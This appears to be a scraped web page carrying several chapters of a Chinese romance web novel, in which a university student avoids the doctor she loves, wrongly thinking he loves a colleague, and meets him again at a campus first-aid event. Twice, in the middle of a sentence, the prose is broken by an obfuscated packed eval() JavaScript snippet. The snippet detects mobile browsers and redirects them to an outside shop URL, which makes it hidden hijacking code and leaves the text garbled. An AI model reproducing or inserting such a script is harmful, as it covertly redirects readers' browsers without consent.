程司远垂眸,嘴角弯起一个弧度倒:“是该下班了,家里猫还没吃饭呢。” 护士跟两人打了招呼就转身去忙了,周依看着着程司远一脸惊讶,问:“你真养猫了?什么时候养的,我怎么不知道。” 说完这话,她不免又开始后悔。 也是,他干什么又不用跟谁汇报,自己这么问倒像显得多余了。 但还没等周依觉得失落,程司远就开了口:“没有,还不算养。” 周依“???” 程司远笑了一下,走进办公室将文件夹放好道:“顶多是云养,不在我家。” “云养?”周依来了兴趣,心道现在科技都这么发达了,都能云端养猫了? “是什么游戏吗?”她问。 “嗯,很小众。”程司远说。 “那它叫——” 周依还没有问完,办公室就又进来了一个人,那人说:“哦?你们还没回去啊,我还以为你们早回去了。” “童姐姐。”周依叫了一声。 童遥“嗯”了声冲她点点头,随手白大褂脱了放到椅子上,向程司远问:“手术怎么样,还顺利吧。” “嗯,还行。”程司远说:“看她醒来之后怎么样吧,至于糖类抗原724和CA199指标高的事还得多留意。” 他叹了口气道:“总之,尽力吧。” 童遥点点头道:“嗯,知道了,我会跟小王她们说的,倒是你——” 她笑着眯起眼瞟了一眼周依,对程司远说:“别忘了正事。” 程司远白了她一眼,说:“别废话。” 周依看着两人打哑谜心里说不觉得难受,她遇到事总喜欢把自己归纳到外人或者旁观者来看,觉得这样就可以最大限度的保护自己,不受情绪的影响。 但到了程司远这就不行了,她就像走在森林迷雾里,看不清脚下的路还处处碰壁,小心翼翼却又寸步难行。 她突然觉得自己今天就不该来。她想回家了。 周依咬了咬唇,喉咙里刚轻微地发出一个音节“我——” 她还没说完,程司远的手机就响了起来。 “喂,阿姨。”他指着手机用口型对周依说“你妈妈”。 周依哑了下,把没说出来的话咬碎了又咽了回去。 “嗯,刚下班。”程司远说着着她道:“我知道,依依跟我说了。” “奥,她跟我在一块儿呢。” “吃饭,在家吗?” 程司远突然沉默了几秒,又说:“嗯,我问问她。” 他把手机拿下来,对周依说:“阿姨说在家做好了饭,叫我们回去吃。” “嗯,好啊。”周依说。 程司远顿了一下,又看向童遥说:“你去吗?他们说想谢谢你。” 童遥还没来得及反应,就听手机里传来程毅的破口大骂:“程司远你这么说话呢,长了张嘴不会好好说啊,人家童医生在国外帮了你多少,请他女儿来家里吃个便饭你就——” 程毅还没有骂完,声音却戛然而止,显然又被张舒欣抢了回来,她说:“哎呀,你就少说两句吧。” 随后,又讪笑两声道:“我们还都挺想见见童小姐的,这么长时间了也没见过,心里实在过意不去,要是童小姐想来我就再多做两个菜……” 张舒欣的声音还在继续,站在一边的童遥则是显得无比尴尬。她抬眼看向程司远,而他却只耸了耸肩,表示随便。 顿时,童遥就换了一脸“你在搞笑?”的表情看着程司远。正不知道该怎么办呢,周依蓦地开口说了话:“童姐姐和我们一起回家吧,我妈做饭可好吃了,你应该会喜欢,别客气了。” 童遥一怔,随即笑道:“那行,我听依依的,那就谢谢叔叔阿姨了。” 电话那端得到了结果自然是欢天喜地,但有人却像是吃了黄连,更何况还是自己亲自送到嘴里的,那真是有苦不敢言啊。 车库外,周依和童遥站着等程司远开车过来。周依心里酸酸的说不上来什么感觉,就是觉得有点难受,兴致也不高,低着头踢着脚边的石头。 童遥垂眸看了她一眼,又抬头看了看远处,确认程司远还没有过来,便嘴角放着笑意低声道:“诶依依,我下午的话没说完,现在继续跟你说。” 周依愣了一下,问:“什么?” “我跟你说个秘密。”童遥说:“程司远他有一个喜欢的人,而且你认识。” 霎时间,周依大脑一片空白,全身像是被冰箭刺穿,利刃又扎入心脏,寒意包裹着痛觉从胸口蔓延至四肢百骸,周身的声音尽数消失,耳边也只剩下那句“他有喜欢的人,你认识”。 她脚下的石子不听话,在这时又故意绊了她一下,差点从台阶上摔下去。 “诶,小心!” 童遥惊呼一声,还好她反应够快,不然周依就真要摔个狗吃屎了。 周依脑袋木木的,身体也在发麻。她不知道发生了什么事,只是站稳身体,下意识说了句:“谢谢。” “你手怎么这么凉。”童遥说:“是觉得冷吗?” 她抬头看了看远处晚霞,像是被层层叠叠的盖了不少棉被,只露出少许几处,点缀着云端一点红,抿了抿唇,半晌才道:“这天看样子是要下雨啊。” 这时,程司远开车过来了,他从车上下来走到周依身边,切声道:“怎么了,没站稳?有没有扭到,我看看。” 说着就要蹲下检查周依的脚。 周依猛地后撤一步,眼眶微微发红道:“我没事,没扭到,回家吧。” 程司远怔了一下,但又单纯以为周依是在童遥面前放不开,也并没有多想。他站直身体“嗯”了声,便伸手将副驾驶车门打开,说:“那先上车吧。” 周依看着那副驾驶,突然觉得有些扎眼,程司远有喜欢的人了,还是自己认识的人。这个提示够明显了,她就算是傻子也猜的出来,那话说除了童遥她自己,还是能谁? 可为什么要这么拐弯抹角地告诉她,直说不好嘛。 也是,她一个外人,她一个连妹妹都算不上的人,能说什么? “我坐后面吧。”她说。 “什么?”程司远疑了一句。 童遥没发现周依的不对劲,只当是害羞不好意思,于是她推着周依就坐进了副驾驶,说:“哎呀你快坐好,这儿不能久停车,你看后面的车都快要堵着了,快进去。” 说完,还要程司远挑了挑眉,以示邀功。 三人坐在车上谁都没有先开口说话,周依靠在窗户上,眼睛一眨不眨地盯着倒车镜,里面映照的的是坐在后座童遥的身影。 她长得很漂亮,鼻梁挺拔,浓密的睫毛下是浅粽色的琥珀,看起来像是有点混血。那被挑染过的头长发今天被卷成了波浪,散落在耳边,整个人都显得热烈而明艳。 原来他喜欢这样的。 周依看得时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594121|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点久,直到眼眶都发涩了才反应过来才想起来要眨眼。她微微垂眸收回视线,忽然脸上传来毛茸茸的触感,这才想起肩上还趴着只猫。 程司远之前不会买这种东西的,那应该是童遥买的吧。 心里想到这,周依又觉得刚刚眼眶的酸涩跑到了鼻尖。她皱了皱眉,将这说出去都要被别人笑掉大牙的情绪压回心里,微微偏过头,对程司远小声道:“哥,我眯一会儿,有点困。” 或许是因为太久没说话了,她的声音显得有些沙哑。 程司远“嗯”了声,偏转过头刚想开口说话,却发现周依已经侧过头闭上眼睛了。他微微愣了一下,伸手将她身前的空调关小了点,轻声道:“睡吧,到了我叫你。” 周依没有说话,也没能睡着。她为了防止自己碰到肩膀上的那只猫,这一路都坐的很直,硬挺着僵到了家。 张舒欣做了一大桌子菜,他们进门时程毅还不知从哪里摆了把椅子,但也只有它被孤零零的放到了餐桌一侧。 周依甚至觉得那上面就写了自己的名字,刚想一屁股坐上去,就被张舒欣拉着坐到了她身边。 最后,那把孤零零的椅子还是让给了程毅,而程司远则是被迫选择了周依对面的位置。 只不过,周依全程都吃的很认真,除了一开始回馈庆祝她被成功录取之外,就不怎么搭话了,像是真的很饿。 程司远也不怎么说话,就是在给周依加菜之余抽空应付两句,顺便无视程毅警告的眼光。 一时间,饭桌上叽叽喳喳的声音就剩下了三个人,程毅同志可能是年纪到了,聊到心头上就喜欢指点小辈儿的人生之路,他随意夹了口菜说:“小童啊,你这是以后准备留在国内发展吗?” “大概率是要留下来,但也不好说。”童遥说。 “这是为什么,是你爸爸要叫你回去?” 童遥有些犹豫道:“我爸……到没说什么,是我自己不确定。” 张舒欣也来了兴趣,凑上前问道:“这是为什么,是哪方面有顾虑吗?感情上的?” 不得不说女人的第六感那真是比雷达都管用,这一下就说到点子上了。童遥的筷子顿了一下,半晌才又重重地点了点头,说:“算是吧。” 程毅眼前一亮道:“这么说小童是有喜欢的人了?” 说着,目光就扫向自己的儿子。 “是有一个。”童遥拿着筷子犹豫道:“但我不确定他喜不喜欢我,所以就……还不确定。” 这下,程毅仿佛已经认定童遥嘴里的人就是程司远,高兴道:“这怕什么,女追男隔层纱,要是喜欢就大胆去追求,哪有那么多不确定的事。叔叔啊,很希望你能留下来。” 童遥没听出这话有什么其他含义,家只觉得他是在单纯的激励自己,便端起桌子上的饮料道:“叔叔你说的对,等我有机会了我一定去追。我以饮料带酒,敬叔叔一个。 程毅笑开了怀,连忙端起自己的酒杯一口而尽,吓得旁边张舒欣连声劝阻:“哎呀,你慢点喝,一把年纪了还以为自己年轻呢,小心你的血压。” 周依听着这段话,就像是无数根刺扎进自己的耳朵里,疼得嗡嗡作响。 她大概也了解个透彻了,程司远和童遥互相暗恋,就差个一戳就破的机会,现在程毅和张舒欣就是在给他们搭台唱戏了。而她就是那剧戏里最多余的存在。 她今天就不该去找他。 周依将脸埋得很深,恨不得整个人都钻进往里,要不是碗里没饭了,她估计这辈子都能这样一直保持下去。 程司远对三人的谈话并不引以为宜,他坐在饭桌上,就像是开了上帝视角。他知道程毅拉着张舒欣想撮合他和童遥,但同时也知道程毅明白他对周依的心意,所以程毅注定功亏一篑。 而童遥,那没什么好说的,一个为了一句话就能远渡重洋大海捞针的疯子,比起自己也差不了多少。 但这上帝视角开得不够全,他没办法看清他面前的人,也不知道她心里是怎么想的。只是默默关注这她,哪个菜想吃够不到,哪个菜不喜欢又不好意思不吃,哪块肉瘦她喜欢,哪里有葱她过敏。 晚饭结束已经到了晚上,天空中并没有繁星闪烁,月亮也告了假,不知道去哪里躲清闲了,黑云一块压着一块,说不定半夜真的会下雨。 程司远和童遥走的时候并没有让送,周依也只是站在门口看着他们坐电梯下去,心里想着,他们住得近肯定是一起回去,那副驾驶,也算是物归原主了。 只不过,她可能真的吃的有点多,这刚回到房间就感觉自己迷迷糊糊,还没躺下就开始犯困了。但这人又总喜欢跟自己最对,明明眼睛都在打架了,偏偏就是不睡。 她躺床上挣扎着又打开手机,这才发现那人在六点四十的时候确实给她发了信息。 木头:真厉害,恭喜依依小大人成功彻底摆脱高中生称号。 58.吃瓜 那天后半夜果然下雨了,月亮躲了清闲,月曜也没有出现,聊天记录就一直被搁浅在了十一点半“木头”的那句,晚安。 只不过周依不知道的是,那天当晚童遥下了电梯就一路飞奔着走了,说是收到信息有人见到过她想找的人。而程司远的副驾驶则是空空荡荡,也永远只属于她一个人。 自那晚之后周依就有意识地去回避程司远,既然做不到安安静静地祝福,那她就躲得远远的,她向来不喜欢为难自己。 盛夏过得很快,处暑之后便是白露,周依也开了学。 她当初来吴都大学的初心,就是想着周末了能出去找程司远,时不时还能看见他。但现在她倒更像是给自己建了个囚笼,只要没有必要的外出活动,就一直呆在学校,收心。 回信息的次数也肉眼可见的变少,之前百看看不厌的聊天记录,现在却再也没有打开过,再后来程司远干脆就直接打电话,但周依不是说自己学校有事,就是说自己社团有活动,要么就是跟室友出去了,下次再约吧。 横竖进退有序,只不过在她认为自己没有收心完成之前,程司远,她不见。 学校里虽然没有李佩佩,但好在有三个话能说到一起的好室友,更意外的是她还遇到了誓死也要考出去的孟泽。 记得当时刚开学,周依在学校路上见到他还以为是自己认错了,只远远看着也没敢打招呼。之后还是跟室友一起去食堂迎面撞上了,才发现真的是本人。 周依问孟泽为什么又留下来了,他却只是笑笑说“赌输了,就留下来了”。 周依满脸问号,想着如果铁了心了想出去,几个志愿都填外面不就好了,怎么还能根赌沾边? 后来又听孟泽说才知道,原来是他家里出了点事,他妈妈在高考前就确诊甲状腺瘤住院了,只不过一家人都瞒着他,直到考完试他才知道。 人们总是喜欢把自己最真诚的情感埋藏在心底,但在生死面前,却又变得不吐不快,就像父母永远都盼着孩子学会感恩,而孩子又一直在等待父母的道歉。 孟泽妈妈手术前,他们一家围着说了不少心里话,在眼泪和欢笑中打开心结。最后父母也都支持他去外面上学,但他自己却打了退堂鼓。 虽说欲买桂花同载酒,但终不似的,又岂止只有少年游? 所以孟泽赌了一把,他选了四所大学,二四志愿填了吴都市,剩余志愿都填了其他城市。而吴都大学就是他第二志愿。 周依问他有没有后悔,他说:“如果后悔,我就不这么选了。所以赌一把,信天。” 后来他也问了周依,为什么也留下了。周依也学着他的样子,笑着道:“因为不信天,所以也赌了一把。” “那你赌赢了吗?” 周依沉默几秒,半晌才道:“好像是输了。” “后悔吗?” “不会。” …… 这躲躲藏藏的日子周依不好受,程司远同样过得难熬。他面对周依就像伸手对着一团虚空的光影,在丁达尔效应下它是可视有型的,但又无法触及。 这样的感觉一直持续到了九月下旬,终于在某个寂静的角落里隐秘地迸发了。 医院临下了班,程司远在医院网页系统上填了张表提交上去。一旁护士路过凑巧看到,霎时间,满脸震惊甚至以为自己看错了又回过头认真看了一眼,上面赫然然几颗大字——急救科普志愿者报名表。 “程医生,你明天去参加活动?”她问。 这真怪不得她震惊,主要是程司远这前前后后几天都在忙着开会、做手术,按理来说明天是轮休。好不容易能放松了,怎么还上赶着给自己找活干? 程司远愣了下,反问道:“有什么问题吗?” “没、没有。”护士讪笑两声道:“辛苦了,程医生。” 她和程司远道了别,刚换好衣服准备下班时,忽然脑子里灵光一闪,拿起手机就在医院的小群里发了条信息:重磅消息,程医生和童医生都参加志愿者活动!! 这小群里汇集了各个科的医生护士,平时没事了就在里面磕嗑瓜子、吃吃瓜。一开始程司远和童遥也被拉进去了,只不过一个对这种八卦消息豪无趣,另一个则是嫌消息太多刷屏刷的眼花,所以双双都给退了。 于是,两位主人公不在,群里听到这消息,顿时热闹起来。 护士A:真的假的?你亲眼看到的? 护士:必然!(`????) 护士T:怎么说怎么说?区区小活动竟然要我们两大人气王参加? 医生B:程医生哪来的空去参加志愿者?我刚跟他开完会。 护士:如果不是我亲眼见,我也不信。 医生F:他们俩谁先报的名? 护士C:童医生。这活动是她跟上级申请的。 一开始,群里的瓜子都还只是磕向年轻人精力旺盛,爱表现。可不知道谁突然来了句,“这难道就是传说中的公费恋爱?” 瞬间,群里就炸开了锅。 护士D:果不其然,我之前就怀疑他们俩可能互相有意思。 医生A:别啊,我还没给童医生表白呢。(大哭) 护士F:如果是真的,那你没机会了。( T_T)\(^-^ ) 医生H:没事,只要没在一起你还有机会。?(ò_óˇ)? 护士G:但我感觉他们已经在一起了,只是没公开罢了。 这瓜就像滚雪球一样,越吃越大,越吃越离谱,到最后甚至都传出两人在国外都有孩子这种话了。 但世间还是不乏有好人在,有人听不下去了,话锋一转在群里发了句:都别乱说了,事实到底怎么样明天活动上就知道了。在一起了,我们就好好祝福,要是没在一起,我们现在这样说是不是就太过分了? 霎时间,刚刚还聒噪个不停的众人,这会儿突然都成了哑巴,也不知道是不是良心发现还是改了群再战,反正消息没有再继续滚动,就只是静静地停在了那一段话。 也许是怕大家尴尬,片刻之后又有人在群里诺诺发了句,说:请问有人知道活动在哪举行吗? 护士:吴都大学,听说是三个系一起,人应该不少。 诡异的寂静被暂时打破,群里又开始了新一轮的讨论,刚刚的玩笑就跟那滚动的屏幕一样,被抛之脑后,没有人在意。 这秋老虎来的迅猛,第二天下午太阳高高悬在半空,四周的光芒像是沾了辣椒水,空气中都弥漫着炽热,与前几日略显不同。 周依撑着太阳伞和邻床的南芳走在前面,对床的王子珺则是和对角的付一宁挤在一个伞下跟在后面。 前后四人慢慢悠悠走在去往操场的路上,南芳越过头顶太阳伞眯着看着天空说:“通知上说要在体育馆前集合,可这也太晒了,为什么不让我们直接进去?” 周依摇摇头,猜测道:“可能方便查人头,看有没有少人吧。” 后面的付一宁走走快了几步与周依并排,说:“很难不少人吧,就我们医务室那老破小有什么震慑力,胆子大的估计早溜了。” 南芳反驳道:“诶不不不,虽然那医务室小了点破了点,但里面的校医还是有点东西的。” “啊?为什么?是医术很——” “找到了,找打了。” 付一宁还没有说完,就被身后的王子珺打断了: 她跑过来在付一宁伞下挤了挤,指着手机说:“看这个,我在表白墙上找得到。” 付一宁够过头,见手机上是一条空间状态,顺嘴就把文案念了出来:“表白学校季流年(季医生)一眼就确诊了恋爱脑。” 文案后面还跟着一串浮夸的爱心,看得她一阵无语,同时又伸手点开照片,不信道:“我看看长什么样,怎么一眼就能——我去!” 付一宁还没有说完,紧接着就发出一声惊叹,她看着南芳说:“你说的对,是有点东西。” 周依好奇地也凑过脸,那是一张被精修过的照片,上面的人穿着白大褂正站在老破小的校医院门口晒太阳,金丝眼眶下的眼睛轻闭着,微长的头发散落在颈肩,皮肤在光照下显得白得发亮,像是刚大病初愈,又像是久不见光。 他跟程司远的帅气夺目不同,更像是开在阴暗角落丽的玫瑰,阴郁的妖孽。 “那今天参加活动的人应该不少。”周依说。 王子珺拿过手机随手翻了几下,在一个八卦群里潜水,说:“除了我们校医院的医生,还有其他医——” “诶,周依!后面!” 王子珺还没有说完,突然被身后响起的声音给打断。四人均是一愣,周依转过头才发现是孟泽在后面不远处喊她。 孟泽跑快了几步到她们身边,周依介绍道:“上次在食堂见过的,我高中同学,孟泽。” 南芳妥妥的社牛选手,说:“记得记得,帅哥的脸我从来都是过目不忘。” 孟泽被说得有些不好意思起来,讪笑两声道:“谢谢啊。” 王子珺只关注八卦信息,对于正儿八经的活体生物就略微显得兴致缺缺,朝着孟泽点点头就得过且过了。 而她身边刚刚还咋呼的付一宁,这时突然变得安静起来,脸颊微微泛红,像是害羞的小声说了句:“你好啊。” 刚上大学的人总是习惯以宿舍为单位的活动,孟泽是看到路上有周依的身影,这才脱离了单位跑了出来,现在打完招呼便又要回归组织了。 只不过他前脚刚走,后脚女生们就是一脸奸笑,但不包括付一宁。 “你们这是什么表情?”她说。 南芳上前一步,挑眉笑道:“我好像在你身上闻到了春天的味道。” 付一宁往后退了一步,把所谓的气味扇了扇,说:“胡说什么呢,我没喷香水。” “人家哪里说的香水啊。”王子珺闻着八卦味儿就开口了:“分明是荷尔蒙啊。” “什、什么啊,我走了。”付一宁闪躲着眼睛,越过她们拉着周依就往前走。 但不好意思,周依也没打算放过这个机会。她顿住脚步,也调侃道:“我们宁姐这是一见钟情了?” 很好。 付一宁一下就破防了,满脸涨的通红,话也说不清了,结巴道:“没、没有,不是、我没有,真不是。” 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604236|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人互相对视一眼,一脸“我不信”道:“我信。” 付一宁以手附额,绝望道:“家人们,放过我吧。” 南芳迈步向前挎着她,说:“害羞什么,这好事啊,让周依给你们当红娘,说不定就成了啊。” “诶诶诶,等等。”王子珺说:“有个事得提前确认确认。” 她转头看向周依,问:“那人有女朋友吗?或者……喜欢的人?” 周依皱眉想了想,说:“这我还真不知道,但应该是没有,朋友圈没见说过。” “那你喜欢他吗?” 周依被吓了一跳,嘴角直抽搐道:“别别别,我不喜欢。他就是跟我高中在一个班,仅此而已。” 南芳用肩膀撞了撞付一宁,笑道:“这机会很大啊,不冲一下?” 付一宁脸上又是激动又是纠结,在三人一脸期待地注目下,犹豫半天,终于做了决定,试探道:“要不……就试试?” 顿时,南芳手上响起热烈的掌声,肯定道:“这就对了,放心,一定行。” 王子珺兴趣正旺,笑道:“就是,有我们给你做军师,还怕拿不下他?” “那行,我把他微信推给你。”周依说着,就拿手机准备发送名片了。 “别别,你先等等。”付一宁连忙拦住她说:“我这突然申请好友不太好吧,还没确定人家有没有女朋友呢,万一……” 周依顿了一下,点头道:“你说的对,那我去帮你问问。” 王子珺好奇道:“你打算怎么问?” 周依走在路上,皱眉道:“我是觉得当面问比较好。” “别吧……”付一宁难为道。 “什么别啊。”南芳附和道:“这种事肯定得当面问清楚才行。” 王子珺也跟着点头。 “诶,等等。”周依突然眼睛一亮,像是想到什么,问:“我们一会儿站队旁边是那个系的?” “我看看啊。”王子珺又不知道从哪里翻出一个群说:“我们在左边,中间站的是电子系,右边是法学系的。怎么了嘛?” “那就好办了。”周依笑道:“孟泽上高中站队习惯站最后面,我们可以去碰碰运气。” “啊,别了吧,我不去。”付一宁一脸排斥道:“这太尴尬了,我直接原地死亡。” “尴尬什么,我帮你问啊,你站在前面听着就行。”周依说。 一旁的南芳笑得嘴角都咧到耳后根了,附和道:“就是就是,别尴尬,让周依替你负重前行。” “诶诶,周依你看那个。”王子珺指着人堆的一角处说:“那是不是孟泽,好像……还有他室友。” “呦,还真是最后一排。”周依快走几步,忽然又顿住,问:“你们不走吗?” 南芳拖着付一宁,说:“别扭捏了,快走。” “不行不行,我不去。”付一宁挣扎着后退道:“你们去就行了,我等你们消息。” 王子珺摇摇头,说:“放过我吧,我社恐。” “我去,我去。”南芳说:“我陪你去。” 四人分道扬镳,周依和南芳慢慢悠悠来到了最后一排,在孟泽的介绍下和他室友打了招呼,大家就算认识了。 南芳真不愧为社牛,没一会儿功夫就和他们不分你我,看样子是要打入敌人内部了。 周依心领神会,刚准备悄咪咪靠近孟泽说话时,体育馆的台阶上突然有人拿话筒讲了话:“班长们点一人数,同时还要麻烦各位医生先走到各自要带领的班级队伍最后,等人数清点完毕和同学们一起入馆。” 那人看起来像是某个体育老师,晒得黢黑嗓门也不是一般的得大,话说到一半话筒都忍不住的发出鸣响,惹得下面的学生一阵报怨。周依站在队伍最后,只隐约听到了要查人数,后面的话就听不清了。 她见还要在外面耽误一会,忍不住心里痒痒,就偷偷叫了孟泽一声,问:“你在大学找女朋友了吗?” 周依声音有点小,他没有听太清楚,弯腰靠过来低声问:“你说什么?” “我说,你找女朋友了吗?” 孟泽一愣,说:“没有啊,干嘛这么问?” “没什么,就随便问问。”周依顿了顿,又问:“哪你有喜欢的人嘛,或者喜欢什么类型的?” 她问得专心,眼见还时不时瞥向队伍前面查人数的班长,头顶上还顶着把太阳伞遮阳,完全没注意身边发生了什么变化。但刚刚还弯腰说话的孟泽,这时却突然没了声音。 周依眼看班长就要数过来了,等得有点着急,想着一进体育馆就不好再找机会了。于是,伸手就向旁边拍了拍,说:“说话啊,问你呢。” “……” 还是没人说话。 周依纳了闷,心道这人怎么回事,突然变哑巴了不成? 可她刚转头,视线看了一半,自己就也变成了那哑巴,声音卡在喉咙里半天都发不出。 那张不知道躲避多久的面容,就这样迎着阳光直愣愣的出现在周依眸中。他站的并不算太近,但影子投下来阴影却正巧将她裹了个严实。 “你要我,说什么?”程司远问。 59.邻居 霎时间,周依大脑一片空白,整个人都呆愣愣地石化在原地,看着程司远一动不动。直到她手上的太阳伞没拿稳,忽然砸了来,这才吃痛一声,回神道:“你怎么来了?” 程司远的脸色看起来不是很好看,如果不是阳光把他照的发亮,那面上的铁青色怕是要掩盖不住了。他垂眸看向周依,瞳孔幽深让人琢磨不透,伸手重新将伞在她头顶上方举起、拿稳,不语。 他们站在队伍最后,并没有引起太多人的注意,只是一旁南芳看呆了眼,那离得近的几个人也时不时投来诧异或者不解的眼神。 周依见程司远不说话,心里更是慌得发虚,她撇过眼看向一旁紧闭着嘴不敢说话的孟泽,还有那正用口型对她说“这是谁啊?”的南芳,顿时想死的心都有了。 她深吸一口气,不管怎么样先把伞拿回来再说。 只是,周依刚用力就发现那人手上的力气大得出奇,完全不像是在撑伞,更像是准备把柄给捏碎。她愣了一下,说:“我自己打就行,你给我。” 程司远看着她的眼睛眯了眯,像是在压抑胸腔中的不满。他沉默了很久没有说话,直到周依打算不管不顾后退溜走时,忽然开口道:“为什么躲我?” 周依刚撤出一步的脚,顿了顿,随后咽了口唾沫,又收了回来,故作镇定道:“什、什么啊,说什么呢,没有的事儿,你想多了。” “我想多了。”程司远平静地把话重复了一遍,语气里听不出来有什么情绪。 只不过刚刚还燥热的天,这时突然冷了下来,周依觉得自己背后丝丝冒着冷气,忍不住旁边偷偷挪了挪,诺诺道:“嗯,想多了。” 南芳不是傻子,尽管不知道对方是谁,但看这情景,是谁好像也不太重要了,也偷偷往旁边挪了挪,表示让位。 得了空位的程司远像是被毒哑的制冷剂,只是自顾自地散着冷气,直到班长走到最后把人数数完,然后又跑回队伍最前,才开口道:“你喜欢他?” 周依差点儿没反应过来,啊了一声,问:“什么?” 她抬头看向程司远,又被他脸上的寒霜吓得向后缩了缩脖子。 程司远抬着眼皮扫了眼刚刚还站在他身边,但不知道什么时候又跟别人换了位置,现在躲得远远的孟泽,满眼嫌弃道:“你看上这人什么了?” 周依一脸疑惑随着他的眼神望过去,正巧就瞧见孟泽正趴在一个胖胖男生的身后,正扬脸看着自己这边。 这不,知道自己被发现了还讪笑着打了个招呼。 周依闭眸子,简直没眼看。她转头无语道:“不是,谁说我喜欢——” 她的话只落到程司远耳朵里一半,而另一半则被那刚修好却忘调整音量,发出震耳欲聋声音的话筒给覆盖了:“那个各班级人都到、诶不好意思——” 这体育老师人也挺好,见下面一群学生捂着耳朵痛苦大叫还不忘道个歉。 他在话筒上连按几下,又喂了几声,确定无误了,才道:“人都到齐了哈,各班长带着你们班的同学跟着队伍前面的医生们进体育馆,然后根据班级标识找对应的场地,都明白了吧。” 人堆里的各班长们,声音此起彼伏道:“知道了。” “明白了。” “好。” 程司远看着前方皱了皱眉似乎很是不悦,半晌,又垂眸看向周依,没头没尾问了句:“那是为什么?” “什么为什么?”周依被他问的没由来觉得生气,他的事她都没问什么,他又凭什么。 她够着头向队伍最前初看了一眼,隐隐约约看到两个白大褂,忽然来了底气道:“你去工作吧,别在这了。” 程司远气得额头青筋直跳,喉咙里发出一声轻笑,说:“不急。” 你不急,我急啊! 周依心里咆哮一声,也不说话了。正欲哭无泪准备以头抢地时,突然发现队伍开始移动了。 虽然是龟速,但是没关系,能远离这活阎王的速度,那就是好速度。 程司远跟在队伍最后面,直到周依完全进去了才收了伞,大步离开。 南芳忍了一路的好奇终于憋不住了,见那白大褂刚走,就迫不及待问:“周依,那是谁啊?长得真帅,你怎么认识的啊?” 真是一波未平,一波又起。 周依不知道该怎么解释,她向来没有一开始就介绍家里族谱的习惯,也很少跟别人说自己的家庭情况。哪怕是李佩佩,那也是认识好几年之后才知道她还有个哥哥。 周依沉默几秒道:“就……曾经的邻居。” 这话其实也没错,只不过这邻居住的确实有点近,隔了一堵——哦不、一条走廊而已。 “奥,这样啊。”南芳说:“但我怎么感觉那帅医生刚刚好像不太高兴的样子,你惹他了?” 周依直接忽略她口中的形容词,嗤笑一声道:“我惹他?开什么玩笑,明明是他惹的我。” 说着,程司远那一脸逼问的样子又浮现在脑海,她顿觉心里烦躁难耐,低声道:“真是莫名其妙。” 南芳一脸疑惑,开学这么久她还真没见过周依这样,忍不住问道:“你们这是发生什么了?” 周依叹了口气,摇头道:“说来话长。” 这就是不想说了。 察言观色是一个人的基本素养,南芳点头了然,默默闭上嘴,点着脚够着头向前面两个带队的医生看去,说:“负责我们班的医生不知道帅不帅,诶,好像是一男一女。” 周依魂游天外,觉得以这种方式碰到程司远简直是小概率事件被百分百触发,太匪夷所思了,就一整个大写的离谱。开玩笑呢,老天爷? “不对啊,别的班都是三个医生,我们班怎么就两个?”南芳问。 “可能在忙,一会儿就来了吧。”周依随口回答。 一行人被领到排球场的一个空地上,那早早就摆好了医用假人模型、紧急医疗箱等设备。这时,那可能在忙的人也走了过来,队伍面前的医生也从两个人变成了三个人。 队伍停了下来,周依抬头一看,顿时人都傻了—— 最左边的看起来就是那被挂在表白墙,人气不低的校医。中间是看着像混血、眉梢都洋溢着自信的浓颜女医生。 而站在最右边的,则是长相出众、走在人堆里都能被一眼认出来,但现在好像并不怎么高兴的冰凉医生。 不是,老天爷您不仅喜欢开玩笑,还不喜欢讲武德呢? 周依闭了闭眼,觉得不能、至少不应该,她躲了这么久不想的人,今天倒好一下子两个都碰见了。这运气,她该买彩票的。 金融班里一般都是女生较多,周依她们班也不例外。一看这场面,顿时炸了锅,原本站好的队伍也被分散开来,把他们三个围了个半圆,甚至有不少胆大的女生,理直气壮道:“散开站,挤到一起根本什么都看不见。” 甚至说完还不忘补一句“看不见还怎么学知识”引得不少女生捂嘴偷笑。 南芳拉着周依就往前挤,但周依躲还来不及呢,这哪肯去?说什么都要躲在后面,义正严辞道:“你去吧你去吧,我把位置都留给你,你多学点。” 南芳也不勉强她,说:“放心,过目不忘。” 说完就挤到前排,去找王子珺和付一宁了。 周依还以为王子珺会跟自己一样躲到后面不去凑热闹,现在看看来她应该只是对她审美以外的三次活体生物不感兴趣,这看到喜欢的,倒也挺狂热。 季医生身为“东道主”先做了简单的介绍,随后活动内容也正式开始,他打开紧急医疗箱,一一讲述着里面的物品,哪些是外伤救护用品、哪些是特殊人群药品、ADE除颤仪长什么样、该怎么用、要注意什么等等。 周依站在最后默默听着,眼睛时不时瞟向一边正布置下一步要讲解物品的程司远。这是她第二次见他穿白大褂,薄唇轻抿着,目光也是淡淡的,还是那幅不苟言笑的样子。 “诶诶,你快看程医生,他好认真啊。”一个女生A推搡着女生 B的胳膊说:“真帅,简直大饱眼福。” “是啊,我原本都打算逃了,听说有季医生我才来的。”那女生B说:“这一下见两个帅哥,我真是太值得。” 旁边女生 C又说:“还有那个女医生,好像是姓童吧,也好美啊。” 说完,又歪着头疑问道:“现在医生颜值都这么高的吗?” “等等。”女生B突然打断道:“程司远口袋里好像装了什么东西。” 她的声音并不算小,周依刚好听见了,便也好奇地看了过去,等看清那一抹淡黄色,她心里倏然跳了一下。 “好像是把伞。”女生A说:“太阳伞吗?怪不得这么白。” 